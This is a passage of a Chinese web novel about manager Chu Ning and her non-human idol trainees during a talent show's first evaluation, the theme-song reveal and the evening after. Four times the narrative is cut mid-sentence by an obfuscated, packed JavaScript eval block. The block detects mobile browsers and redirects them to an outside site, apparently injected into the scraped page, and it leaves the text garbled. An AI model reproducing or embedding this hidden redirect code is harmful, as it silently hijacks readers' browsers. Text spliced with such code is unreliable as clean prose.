常驻的导师一共有六位,vocal、dance、rap三个类别各请了两位,都是圈内知名的前辈。其中楚凝最熟悉的就是之前遇到过的老朋友羽彩——她在荧幕里表现出一副罕见的正派与冷傲,仿佛把“生人勿近”两个大字写到了脸上,但楚凝很清楚,对方估计坚持不了几天,那副大大咧咧的话痨样子就会暴露无遗。 等导师们做完了自我介绍,初评级舞台的比拼就开始了。练习生们先按所属的娱乐公司为组别依次进行表演,表演结束后,由几名导师和主持人共同商议,最终对每位练习生进行等级评价,其等级由高到低为A到F(没有E级)。 由于导师们的评价标准非常严苛,因此在前几组表演之后,除了C社里的那只狐妖和其他社的两名人类,就没有A的出现了。 “你觉得你手里的艺人里有没有能得初A的?”经纪人前辈问楚凝。 楚凝想了想说:“如果是只考舞蹈,萤火一定可以,但要是团体曲表演,他还差了点实力。” “另外三位呢?” 楚凝叹了口气,“希望他们的个人技可以加些印象分吧。” 又过了一小时,中间仍然没有A的出现。大厅内还没有表演的练习生们越发地紧张。 弗纳尔虽然紧张,但由于忘记吃药,脑海中渐渐涌上一种和心理反应相矛盾的困倦。他旁边的羽因在经过评委席的姐姐无数次眼刀提醒后,终于鼓起勇气上台接受测试,最后得了一个C级。 “唔……姐姐好严厉……”羽因回到座位,缩着翅膀,眼泪汪汪地吐槽。弗纳尔咽了咽喉咙,和其他三名队友对了对眼神,决定上台接受测评。 主持人和评委们见到他们上台,查看了他们的档案资料,都惊奇于他们临近出道却选择来参加这个节目进行历练的决定,也很佩服他们的勇气,对他们的表现抱有很高的期待。 四个人外此时站在舞台上,内心都有了前所未有的觉悟。出道曲的音乐响了起来,已经排练过多次的他们面对变化丰富的旋律和节奏不再像最初那样慌张无措,团队的动作衔接整体展现出顺畅和平衡的态势。 楚凝仔细观察着成员们的情况。萤火稳定地发挥优势,萱草也尽了最大的努力将主歌的部分唱好,加尼亚在说唱部分虽然不够专业,但好在有天然的声线优势,这使得他展示的部分瑕不掩瑜。 楚凝把关注点放到了弗纳尔身上。外人察觉不出少年目前的状态不如寻常那样精神,但楚凝却很敏锐地发现他在咬牙克服困意带来的影响。她为他捏一把汗。 弗纳尔的第一次副歌部分发挥得无功无过,现在马上就要来到第二次的副歌部分,可他的精力似乎快跟不上了。 少年在心里不断提醒着自己坚持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748803|145404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,警告自己不能搞砸这次表演。最终,在意识不断的拉扯中,他勉力战胜了本能的困意,将副歌部分再一次无错地发挥出来。楚凝松了口气。 “谢天谢地……这家伙……”她看着因为完成自己的part而明显变得庆幸的少年,不禁在心里给他点了个赞。她知道对于在场绝大多数的练习生来说,唱这段副歌是再简单不过的事情,但对于弗纳尔来说,却已经做到了他目前所能做到的极限,这让她对少年产生了一点很不寻常的怜爱。 最终这首曲子在四位成员的努力下以很高的完成度被展现出来。表演虽然算不上完美,但依然获得了不少的喝彩。 评委们对这首曲子的反应也是积极的,只是同时也提出了许多精进的建议。 这些前辈都是在业界“身经百战”的人才,在单独评价每个人表现的时候,大多一针见血地指出了他们的问题,并针对他们每个人的薄弱点做了探讨与分析。 他们在采访萤火的时候,先肯定了他在舞蹈展示上的魅力,又要求他单独表演声乐和rap。 萤火的短板无所遁形,于是评委席对他呈现出两极分化的评价——舞蹈老师极力夸,rap老师直摇头,声乐老师不说话。 加尼亚则是被rap老师看好,被认作了值得培养的种子选手,但声乐老师对他的意见比较大,但好在他以自己吹树叶口琴的个人技赢得了一定的印象分,在声乐老师面前挽回了一点颜面。 而弗纳尔的情况就和谐了许多——三位老师都看出了他在团曲的表演中比较吃力的情况,没什么争议地鼓励他从头苦学。 弗纳尔不会跟老师们耍脾气,乖乖地接受了建议,同时把自己的个人才艺展示了出来。演播大厅很突然地响起许多动物的鸣声。导师们听完,严肃的表情都崩塌下来,禁不住地开怀大笑了。 弗纳尔哼哼两声,竟很有些自豪地说:“虽然在专业实力上本殿下还有很长的路要走,但是在综艺魅力上应该是遥遥领先的吧……”导师们笑着认可了他的话。 待机室的楚凝看见这一幕,默默地思考:他是怎么做到整个人在心思敏感和神经大条间无缝切换的…… 经过了弗纳尔的才艺展示,大厅内沉肃的气氛缓和了不少,队内只剩萱草还没有接受评委们的提问,也还没有展示个人技。 少年按照楚凝说的那样提出表演竖琴的请求。全场默然,片刻后又喧哗起来。 “骗人的吧,这跟把钢琴搬到舞台上来有什么区别,怎么可能……” “他经纪人能想得这么周到?不太可信啊,估计是哄他玩呢吧……” “你是说,你的经纪人为了你的才艺展示特意在早上买了一架竖琴?”羽彩看着面前懦懦点头的少年,心想,“楚凝有大病吧……”在场的其他人也都不敢相信。 “是真的,”萱草看出来大家的质疑,默默反辩,“她,她一定马上就来的……”但说这话时,他内心也开始无措起来。 楚凝真的会来吗? 12. 主题曲公布 萱草紧紧地盯着演播厅的大门,像尊望眼欲穿的塑像。大家也同他一样关注着门口的情况。 大约过了半分钟,厅门没有任何动静。 大家确定萱草大概是把经纪人的玩笑话信以为真了。一些嘲弄的、同情的目光落到了他的身上。 “他好天真啊……这么不现实的事情都会信……” “对啊,我就说哪有经纪人这么好,肯费这种力气……这下好了,下不来台了……” 一句句碎语像千万根细小的针芒扎进萱草的耳朵,把少年推上窘迫的境地。萱草怔怔的、懵懵的,有点错愕,也有点无助。 “那个,”主持人轻唤一声他的名字,温柔地解围,“或许是因为你的经纪人临时有事情所以才没来得及赶过来,萱草还有其他的个人技吗?” 萱草握紧话筒,抿紧的嘴唇颤抖着。他努力地收拾好沮丧的心情,准备开口回答主持人的问题。但就在这时,大厅的门却意外地被人推开了,进来的人正是楚凝,身后跟着两名搬东西的工作人员。 原来在这之前,楚凝向乐商催购的那架竖琴就已经运到了待机室,楚凝见萱草已经接受完提问,主动提出了表演竖琴的要求,便拜托几个工作人员和她一起将竖琴搬出去,小心地运到隔壁的演播大厅。 “萱草,”楚凝喊他一声,扬了扬唇角,“快来‘签收’你的‘大快递’。”她和两名工作人员一起把竖琴搬到舞台上,还顺便给少年带了把小凳子。 萱草看着离自己近在咫尺的大乐器,只觉得一切都像在做梦。那竖琴在舞台的灯光下流转着不凡的光彩,收获了一众情不自禁的感叹。 “阿凝姐姐,你……”萱草盯了会儿乐器,又看向楚凝,眼中涌动着无声的激动。 “我不会失约的。”楚凝拍拍他的肩膀,轻声说一句“加油”,然后又冲坐在舞台对面的评委还有后面的练习生们说一声“打扰”,很快地离开了。 她离开之后,回到待机室继续观看实时拍摄,此时摄像里传来白兔少年演奏的竖琴声,乐音也同时从隔壁大厅传过来,两者朦朦胧胧地交织在一起,幽雅的、醇厚的、沁人心脾的。 少年的演奏博得了全场人的掌声,也为整个团体的初次表演画上了圆满的句号。最终,经过评委们和主持人的认真商议,给了萱草B级,给了加尼亚C级,弗纳尔则是D。 萤火是他们争论得最久的选手,对于给A还是给B的结果他们非常纠结。但最后在慎重的二次投票下,评委们还是给了他B。 “我们可以感受到你的决心与野心,但比起最大限度地发挥长处,如果能用尽全力地利用这段时间补足短板,对你而言或许是更好的选择,”rap导师说,“所以希望你能够继续努力。” 羽彩则严肃地补充道:“我看到你是从标着第一名的位置上走下来的,老实说你很优秀,也极有做偶像的天分,不过‘欲戴其冠,必承其重’,要稳住这个位置,就要顶得住压力,目前你还需要历练,加油吧。” 他们的话既让少年不甘,又恰到好处地激起了他的斗志。 看着四位成员回到座位的楚凝则松了口气,毕竟她很清楚这四位的练习情况,能在如此紧张的舞台上无错地发挥已经达到了她心理的预期。 在他们之后,其他的团队也继续上台表演,等到几十组队伍评级完毕后,已经又过了几个小时。 按照节目的流程来看,在初评级舞台结束后,节目会马上发布本次选秀的主题曲目,而这首主题曲目将会根据练习生们目前的等级来分配站位和演唱的part,以及占据镜头的时长。其中,在F等级的练习生作为陪练不给到放送镜头。 在众练习生都贴上代表等级的贴牌后,随着主持人的导入,大屏幕上出现了一段由主题曲制作人亲录的VCR,揭开了曲目的名称和风格。 “本次主题曲名叫《辉光》,是以夜幕繁星的自然之景和我们‘天星计划’的节目名称作为灵感而专为大家创作的歌曲,风格比较轻快,希望我们可爱的、充满活力的练习生们能够向国民制作人们展现出你们的热情、真诚,以及成为偶像的觉悟……”大屏幕上的作曲家亲切温柔,脸上带着鼓励的笑意。 楚凝看着大屏幕上出现的作曲家的名字,一时觉得眼熟,想了一会儿才猛地反应过来人外们刚刚表演过的预备出道曲《耀星》的制作人里也有他的姓名。 一位知名的作曲人短期内创作歌曲的风格一般来讲会呈现一定的统一性,就像拍电视剧的导演习惯用同样的滤镜拍摄不同的作品,如果先熟悉了其中一首曲子的节奏旋律,再去理解和消化同期的另一首歌,效率会相应地提高。 楚凝听着大屏幕里播放出来的歌曲语录片段,发现《辉光》的整体乐调、主副歌节奏点、Bridge的处理方式都有很鲜明的,并且一脉贯之的作曲家个人特色,这对于才表演了《耀星》的成员们来说是件值得庆幸的事。 “编舞我也跟你们的舞蹈导师核对过了,”作曲人接着说,“是青春洋溢的舞步,完全超出了我的预期,所以我很期待大家对歌曲的诠释,同时也很希望这首主题曲能够在各位练习生的绝佳演绎下火爆星际喔!” “当然,作为这档节目的忠实粉丝,我也会积极pick大家的,所以,请勇敢逐梦,成为属于自己、属于全民的那束光吧……加油,我非常非常看好你们!” 视频就这样结束在了最温馨的部分,但练习生们还来不及多感动,又被紧接着出现的编舞视频给震慑到了。 主题曲的编舞十分华丽,但相应的难度也比较大,对于许多舞蹈非专业的练习生来说是一场实实在在的噩梦。四个人外里头,除了萤火,其他的三位看着屏幕上极富记忆点又变幻复杂的舞步,都默默地摇头。 但偏偏留给他们的练习时间却只有三天。 “三天之后,我们会进行主题曲的再次评级,”主持人说,“本次测评会以单人单独表演的形式进行,每位导师会对每个练习生的表现做重新的打分,所以现在处在F等级或其他较低等级的练习生请不要灰心,这三天努力练习的话等级是有很大机会提升上去的,同时A等的练习生也请不要懈怠,你们需要捍卫自己的名次……” 听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748804|145404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着主持人的警醒和鼓励,弗纳尔一握拳,信心满满地对羽因说:“哼!本殿下一定要用这三天的时间弯道超车,实现逆袭!” 羽因瞄他一眼,不好意思地吐槽:“虽然你大概有一些天赋,但感觉也不至于到这种程度的样子……” 弗纳尔揪他翅膀一下,羽因喊痛,说要给楚凝告状。弗纳尔听到楚凝的名字,收了手,小声嘀咕:“我才不怕她呢,这一次我一定要逆袭给她看看。” 羽因听了,摇摇头说:“你不是怕阿凝姐姐,你似乎是很在意她的看法。” 弗纳尔一听,像只被炸了尾巴的猫,激动地反辩:“我才没有在意那个女人的看法,你不许胡说!”他一说完,似乎想到了什么,又蹙着眉问:“为什么你们都叫她‘姐姐’,好像很……很亲密的感觉……” 羽因费解道:“很奇怪吗?阿凝姐姐年龄比我们大几岁,叫她‘姐姐’很正常啊,你要是想叫你也可以这么叫。” “我不要,”弗纳尔别过头去,“我才不要这么叫她呢……” 羽因凑近了,幽幽说:“可是我感觉你很想这么叫她诶……不然一会儿等节目拍摄结束了你就按我们的喊法喊她试试吧。” 弗纳尔的脑海里闪过自己像羽因和萱草一样叫楚凝“姐姐”的场面,不由得颤了颤,脸上现出一分羞耻。可内心似乎又涌动着一点奇妙的兴奋,引诱着他开口。少年咽了咽喉咙,不自觉地小声呢喃着:“阿凝……姐姐……”他感觉自己整张脸烧了起来。 就在这时,大屏幕上开始公布练习生们在主题曲舞台表演前的首次pick数据。 这次数据从练习生们的公式照在网上发布开始统计,截止到刚才的初评级表演完结束。人气的来源渠道还包括了练习生们在节目正式开拍前的拍摄花絮,以及平时发在个人社交账号上的创意短视频等。数据因为受到了练习生们所属娱乐公司对他们的初始宣传度以及练习生本身自带的话题度影响,所以各名次之间票数的差距比较大。 楚凝为了让人外们首次投票的排名尽可能靠前,前期下足了功夫动用自己的人脉资源做宣传,再加上刚才人外们风格迥异的表现也足够吸睛,所以他们目前的排名都在第一轮晋级的那六十个名额之内。 其中萱草因为惹人怜爱的外表和独特的竖琴表演受到了制作人们普遍的喜欢,名次排在了第四;加尼亚则是因为磁性的嗓音和健美的体格戳中了不少网友的审美,名次意外地排到了第七,比楚凝预想的要高许多。 萤火和弗纳尔分别排在第二十一和第二十二名,也是靠前的梯队。 楚凝在社交媒体上翻看制作人们投票的评论,发现在练习生们的内在魅力还未在镜头前完全展现的情况下,大多数人还是会把目光聚焦到艺人的脸蛋上。 “好想亲他们一口……评得这么直白吗……”楚凝默读着关于四个人外的评论,面上现出一点哭笑不得的表情。她把一些有趣的评论截图保存,准备等拍摄结束后分享给成员们看。 此时演播大厅的拍摄内容已进行到尾声,主持人领着众练习生向镜头前的制作人们宣誓。 13. 殿下的心弦 “尊敬的国民制作人,您好。在此,我向您郑重起誓: 今后,我必将坚持奋斗,不言放弃,努力在璀璨的舞台上发光发热,我将永远感谢制作人们的喜爱,永远珍视制作人们的支持,永远牢记制作人们的付出,我将不负青春,不负梦想,不负厚望,在此,特向国民制作人致以最崇高的敬意!宣誓人: ‘天星101企划’练习生——Flower.Elizabeth。” 弗纳尔跟随着屏幕上出现的誓词做完宣誓,内心涌动着一股澎湃的热情,脑海里出现了一种奇妙的错觉,恍若自己现在并不身处于灯华璀璨的大厅之内,而是伫立在黄沙漫漫的战场之上。但转念一想,这本也不是错觉。 选秀本就是一场没有硝烟的战争,现实而梦幻,残酷也美好。他不知道若想站上出道的巅峰还要付出多大的努力,但此刻的决心却又比从前更加的深刻。 宣誓之后,位于演播大厅的拍摄便暂告段落了,时间已到了傍晚。大厅内的摄像机器全都关闭,工作人员们和练习生们互相体谅对方长时间拍摄的辛苦,彼此安慰着。 练习生们的经纪人也从待机室过来,先找到自己的艺人,再一边交流今日拍摄的内容,一边关注接下来的工作流程和重点——那和平时大家长们在校门口接自家的孩子放学,然后问东问西又哐哐指点的场景几乎没有区别。 楚凝从待机室过来找自己的艺人。 这时,加尼亚正在帮工作人员搬要转场的设备,萤火则是在向导师们询问精进自身的建议,萱草被节目宣传组的人员单独叫去,和其他几位在初排名中进入了前十一名的练习生凑在一起听着安排。楚凝没有去打扰加尼亚和萤火,也没有去找萱草——她估摸着少年是因为排名的靠前而被节目组拉去补拍一些个人彩蛋去了,一时半会儿也不会自由,但他的竖琴还放在舞台下的角落。 楚凝想了想,决定把那架琴搬回少年的宿舍,她看见弗纳尔和羽因在不远的地方聊着天,于是走过去想请他们帮忙。 弗纳尔正在和羽因聊着明天拍摄的内容,转头见楚凝走过来,又飞快地把头转过去。他纠结着对对方的称呼,内心一顿扭捏,终于跟下定决心似的呼出一口气来。 “你们在聊什么呢?”楚凝走到他们面前,见弗纳尔脸颊红红的,心里觉得好奇。 羽因回答了她的话,同时拿眼神示意一旁的弗纳尔,默默鼓励他改称呼。 弗纳尔犹豫片刻,最终小声地开口:“那个……阿……” 可就在这时,楚凝却先开口了: “你们现在有空么?”她没有听到少年的话,接着问,“你们可以帮我一起把萱草的竖琴搬回他宿舍吗?” “萱草现在大概是走不开的,我也舍不得那架琴一直放在这里,万一受到了损坏就糟糕了。我想他应该会很伤心。” 弗纳尔听了她的话,眼神一滞,羞涩的表情即刻散了。“我不要,”他望着楚凝,声音有点幽怨,“我不要帮他,我才不要帮他。” 楚凝皱了皱眉,嗓音微沉:“但你们是队友。”她搞不懂为什么少年的情绪变化得这么突然,起伏又这么大。 弗纳尔嘴巴一瘪,眼眶里起了雾,“你要是怕他伤心怕他难过的话你就去帮他的忙好了,我喜欢他伤心喜欢他难过我就不要帮忙,更不要为了你帮他的忙!” 楚凝声音更冷了:“你到底在说什么……你很讨厌萱草?” 弗纳尔意识到自己说重了话,又慌里慌张地说:“我、我也很累了,我要回去休息。”他说完,逃也似的走开了,留下楚凝和羽因两个人在原地不知所措。 “他到底怎么了?”楚凝费解地问一旁的小天使。 羽因摸摸脑袋,揣测着说:“我猜他应该是因为没有把对你的称呼喊出来,所以变沮丧了……”但单纯的小天使也并不知道自己只猜对了一半,还有一些充盈在世子殿下内心的情绪是他也解读不明白的。 “什么称呼?”楚凝更加迷茫。 羽因一边帮着她去搬琴,一边把弗纳尔的烦恼告诉了她。 楚凝听完,无奈地笑了笑,“他想叫就叫啊,这么纠结干什么……” 羽因点点头,“我也是这么想的。” 两个人合力把那架竖琴抬起来,往大厅外面走,中途有其他的练习生要过来帮忙,但楚凝一来不想耽误他们的时间,二来觉得自己和小天使抬这架琴也不算费力,于是谢绝了对方的好意。 谁知道两个人刚把琴搬出演播厅,就在厅外看见了刚才说要回宿舍的弗纳尔。少年见着他们,别别扭扭地走过来,然后一言不发地挤开除楚凝的位置,替她搬琴。 “你不是说你累了?”楚凝玩味地盯着他。 弗纳尔把头一别,默默地帮着忙,片刻后又冷哼一声,说话和连珠炮似的: “本殿下突然就不累了本殿下突然就想搬了本殿下突然就想锻炼一下自己的力气不行吗!”他气呼呼的样子很像一只生气的河豚。 楚凝知道他是想帮忙才在外头刻意地等待,因此并不生气,反而觉得他有些可爱,于是温柔地附和起他的话来:“好好好,世子殿下说什么都是对的世子殿下不但人长得好看心地也很良善,真是世界上最棒的练习生。” 弗纳尔听她这么说,冷冰冰的表情绷不住了,嘴角不自觉地翘了翘。虽然有了少年的帮忙楚凝可以不用再管抬琴的事,但为了乐器的安全,也为了两位少年的人身安全,她仍然默默地扶着竖琴的一角,和弗纳尔挨在一块儿,跟着他一起走。 “你、你在耍我,”弗纳尔不想承认自己心情的愉快,故作愤愤地说,“你刻意开我玩笑。” “我可没有,”楚凝看着他笑,“我说的句句属实,世子殿下一定要相信我。”她边说边朝少年偏了脑袋,拿逗弄的目光探究少年别过去的那张脸。 “不准、不准你这么看我。”弗纳尔小声地抗议。 “害羞了?”楚凝戏弄着问,“不生气啦?” 弗纳尔急促道:“不要你管!” 楚凝扬扬唇角,正经道:“不逗你了,咱们把这琴搬完以后先去吃饭,然后再回活动大楼领队服,晚上要是你们有时间,活动大楼的练习室依然是开放的,你们可以先去练习。” “但是也不要练到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748805|145404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太晚,毕竟从明天开始到之后的三天里你们都会分教室进行高强度的训练,还是要留存一些体力应对导师的严格指导。” “尽管刻苦的练习在任何时候都很重要,但是也别总是在镜头外耗尽了力气,等到摄像头对准你的时候给它展示你‘香甜’的睡相喔。” 羽因和弗纳尔听了楚凝的话,都觉得有道理,也都打算按照她说的去做。三个人把竖琴搬到了萱草的宿舍门口,楚凝提前在手机上问了萱草宿舍门的密码,于是顺利开了门,把琴放了进去。 弗纳尔发现萱草和楚凝的宿舍是挨着的,心里莫名地不是滋味,既有点羡艳,又有点嫉妒,在去吃饭的路上遮遮掩掩地问楚凝是不是总是串门去萱草那里。 楚凝回忆了片刻,坦坦荡荡地说除了给萱草送梳子那一次进他宿舍了,目前还没串过第二次门。 “你问这个干什么?”她不明所以地追问对方。 “没什么,”弗纳尔慌忙答,“就是纯粹有点好奇。” “喔。”楚凝应了声,又猛地想起对方今天在初评级舞台上的表现,问他今天是不是忘记吃倒时差的药了。 弗纳尔有些惊奇:“你怎么知道?” “你当时的状态就很不对劲,”楚凝说,“所以我也一直在观察你的表现……你当时是在硬撑吧,老实说我其实为你捏了好一把汗。最后能坚持着把表演完成,你真的很了不起。” 面对直白的夸赞,弗纳尔心里的快乐掩饰不住,他挺胸昂首地说:“本殿下在关键时候也是很靠谱的好嘛。”他又想到对方刚才说的话,心里默默地嘀咕原来自己一直有在被对方关注着,不免更加开心。 “但是你也要注意避免以后再发生这样的事,否则一是影响自己平常的练习状态,二是容易在舞台上出现意外,”楚凝正色道,“万一在舞台上摔倒了就不好了。” “知、知道了。”弗纳尔吞吞吐吐地应答下来。 楚凝见他把话听进去了,又嘱咐前头的羽因一些事项,小天使乖乖地点头,感谢她额外的关照。 三个人到了食堂,这时萤火和加尼亚也一起过来,几个人一起在食堂吃了晚餐,按照流程去活动大楼的物料发放点领取标有初评级等级的队服。 几个人换完队服出来,看着彼此的等级,相互间都有一股微妙的感觉。 四位练习生里,萤火穿着B级的队服,羽因和加尼亚穿的C级,只有弗纳尔的队服上写着D。弗纳尔看着自己衣服上的字母,叉着腰说:“等着瞧吧,三天后它就会变成A啦。”另外三个人外听了,心知这是极其困难的事情,但也难得不逗他,都给他加油。 楚凝则是再次地提醒少年“要按时吃药”。但她说完以后,发现自己这话说得让人误会,于是又向弗纳尔解释:“我不是在说你做白日梦,我是真的希望你按时吃药,保持状态。” 弗纳尔和另外三个人面面相觑,片刻后都哈哈大笑起来。场面一时其乐融融。 楚凝提议大家一起去练习室练习,自己也要陪同,却忽然听见背后传来熟悉的呼喊,转头一看,发现萱草也来了。她跟他打招呼,让他一起过来。 14. 白兔的琴声 萱草刚跟着节目组加完班到物料室来领队服,远远地瞧见楚凝和其他队友正在说笑,心里有些别扭。一股独占的欲望在少年心头默默地蔓延,让他想隔开楚凝和其他成员的相处,让她只和自己待在一块儿。 “萱草你来领队服吗?”楚凝问他。 萱草点点头,瞄了一眼站在她身边的弗纳尔,又向她走近一步,小声说:“阿凝姐姐,队服在哪里领啊……” 弗纳尔默默地指了指不远处叠着队服的方桌,酸溜溜地说:“就在旁边那个桌子上放着的你没看见嘛。” 萱草假装没听见,拉着楚凝的衣袖请求她带自己去领。楚凝虽然不知道这样做有什么帮助,但还是跟他一起过去。 桌子上的队服按等级分门别类地放着,楚凝拿一件递到他手里,问他要不要跟大家一起去练习室练习。萱草说自己要去练习,但是还没来得及吃晚饭,打算吃完晚饭再去。他又问楚凝有没有吃晚饭。 “我刚刚吃过了。” 萱草有一点失落:“这样啊……我还想着和你一起去吃的,我还有好多关于做艺人的事情想请教你的……” 楚凝听见他有问题要请教,大方道:“那我陪你去食堂吧,你有什么问题路上也可以问。” “真的吗?”萱草的耳朵惊喜地竖起来。 楚凝点点头,“现在就走吧,我们早去早回。”她说完,跟其他的成员说了一声,然后带着少年往食堂走。 弗纳尔见两个人走到一起,心里多有羡嫉,本想借口买东西也跟着他们去食堂,但一想到自己现在的实力等级不允许时间上的耽误,于是克制住了内心的想法,和其他队员一起去了练习室。 萱草吃完晚饭后,正打算跟着楚凝回活动大楼,出大门的时候看见卖小食的窗口在卖冰淇淋,一时间走不动道了。 “阿凝姐姐你想不想吃冰淇淋?”他指着小窗口问,“你想吃的话我请你吃。” 楚凝不太爱吃甜食,但看少年的神色明显是自己想吃多过想要别人吃,于是不拆穿地点了点头。 萱草很开心她要吃,期待地问她要吃什么口味。他拉着她的袖子走到窗口面前,一边等她选,一边抿咂着嘴巴,看样子迫不及待。 “我不太懂这些口味,”楚凝看着冷柜前五彩缤纷的雪泥球犯了难,“你随便帮我选一个就行。” “那阿凝姐姐喜欢吃什么水果?这里面很多冰淇淋球都添加了果汁。” “水果吗?”楚凝说,“我比较喜欢吃橙子。” 萱草认真扫过柜台前那些雪泥的介绍,给她选了一个山茶香橙味的雪球。他自己则买了一个香草草莓味的。他把冰淇淋递出去以后,对着自己的雪球咬一大口,兔耳朵又立起来。 楚凝见他毛茸茸的耳朵一颤一颤地,忍不住上手摸了摸,感觉不那么掉毛了,就问他有没有用自己给的药剂。 “当然啦,”萱草把一只耳朵支到她鼻前,“阿凝姐姐闻闻看,我有在好好用你送的东西呢。” 楚凝笑了笑:“那就好啊。”萱草瞄她一眼,嘿嘿地笑笑,楚凝问他笑什么,他摇了摇头,又抿一口冰淇淋,不回答她。楚凝虽然好奇,但少年不说,她也就不问了。 两个人一边吃着冰淇淋一边往活动大楼走。可过了一会儿,萱草又自己开了口,默默道:“总觉得跟阿凝姐姐像这么待在一起,是很开心的事。”说这话时,他垂着眼眸,看着面前那个粉色的草莓味的雪球,但眼角的余光却向旁边的人瞥去。他加快了脚步。他的心事也是草莓的味道。楚凝对上他那一瞥的目光,心跳忽而快了。 暮色笼罩着风光如画的基地,两人经过一方临水的凉亭,晚风轻轻地吹拂过来,把萱草的脸吹得绯红。 “萱草。”楚凝喊住了走得匆匆的少年。少年回过头来,水红的眼睛望着她,眼瞳像淌过水的宝石。楚凝如实道:“你真漂亮。难怪网上所有的人都夸你。” 萱草一听,眼睛猛地放大,整个耳朵都立了起来。他呆呆地看了楚凝一会儿,迈步朝她走过去。他站在她面前,怯怯地问: “除了好看……还,还有没有别的?”他想知道面前的人对他有没有更多的感觉。 楚凝愣了愣,内心隐约着一分浅淡朦胧的情愫,觉得此时的少年不仅漂亮,还很可爱。她想再夸他,但话刚开口,手机却响了起来。是快递驿站的电话。 楚凝接完电话,对萱草说:“我们先不去练习室,去驿站。我给你买了东西。”萱草跟着她去了驿站,取了一个很大的快递,期待地问对方里面装着什么。 楚凝先卖个关子,等把东西搬到少年的宿舍,再让他自己拆开。 萱草拆开箱子,这才看清里面装的竟是一柄安了暗轮的琴架,用来摆放和搬移竖琴的。这琴架流光溢彩精美至极,单看也是一件艺术品,和竖琴搭配在一起相得益彰。 “喜欢吗?”楚凝问一旁的少年。 萱草呆愣愣看了那琴架许久,脸上浮现出不敢置信的神色,他围着琴架左看右看,难掩惊喜地确认:“真的是给我的?它、它也太精致啦!” 楚凝点了点头。 萱草反复地抚摸着琴架,看向楚凝的眼神里充满着激动:“谢谢阿凝姐姐!”他把脑袋靠上琴架,又满足地说:“我好喜欢,我好喜欢。” “你喜欢就好。”楚凝指着之前搬回宿舍的竖琴,和他一起合力把琴放到了琴架上。搭配了琴架的竖琴看起来更显珍贵,也很方便少年移动和弹奏。 萱草为了答谢楚凝,提出要给她演奏,楚凝心想他一来是想感谢自己,二来也是因为这架琴他爱不释手,把玩不够,于是就说了一首家乡的民谣,问他会不会弹。 “《山野风灵》?这是我最爱的曲子!”萱草激动地问,“阿凝姐姐你也喜欢这支曲子吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748806|145404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 楚凝点点头:“我小时候常听我的老师演奏,银星的A国与B国的交界线是一处断崖,周围是茂密的森林,老师总喜欢在那里弹这支曲子。” “我知道,”萱草的神色也温柔下来,“我知道那里,我们兔妖一族的城邦离那片森林也不远,我小的时候妈妈也时常唱这支歌给我听呢。” 楚凝想起之前那只虎妖说少年是从城邦逃出来的,不免担忧地问:“萱草,那你的爸爸妈妈现在还好么?” 萱草听她这么问,欣喜的眼神淡了些,失落道:“他们应该是没有危险的,因为他们人不在A国……只是如果想要再回到家里,应该就不太可能了。”说这话时,他的眼眶渐渐红了。楚凝看他抿着嘴唇,瘦削的肩膀颤抖着,不由得摸摸他的脑袋,安慰他想哭便哭。 少年再忍不住,转身撞到她怀里,眼泪止不住地掉出来。 “他们是故意的……”萱草呜咽着道出事情的真相,“那群城邦里的坏人,为了讨好妖神大人,趁爸爸妈妈去其他国家做研究的时候擅作主张地把我的灵契交到了妖神大人手里,想让我做她的祭品,代替她承受十年一度的天罚……我不想成为牺牲品,所以在献祭那天逃了出来,逃到了这里……阿凝姐姐,他们真的好可恶,我的爸爸妈妈还在为城邦的繁荣辛辛苦苦地做着贡献,可他们却这么对我,我恨他们……” “可是我没有办法对付他们,我想我要是成为了知名的偶像,有了很大的影响力,那么他们就不敢再拿我去献祭了。” 少年的眼泪浸湿了楚凝的肩膀,楚凝想到他小小的一个人却遭遇了这样残酷的事情,承受着这般大的压力,不禁为他感到心疼。她抬手轻拍着他的后背,又安慰着说:“会成功的,你会出道的。” “等你成为了万众瞩目的大偶像,那些人也不会再打让你献祭的主意了。” 萱草抬手把她抱住,在她怀里哭得颤抖,像无枝可依的小鸟祈求着唯一的庇佑。 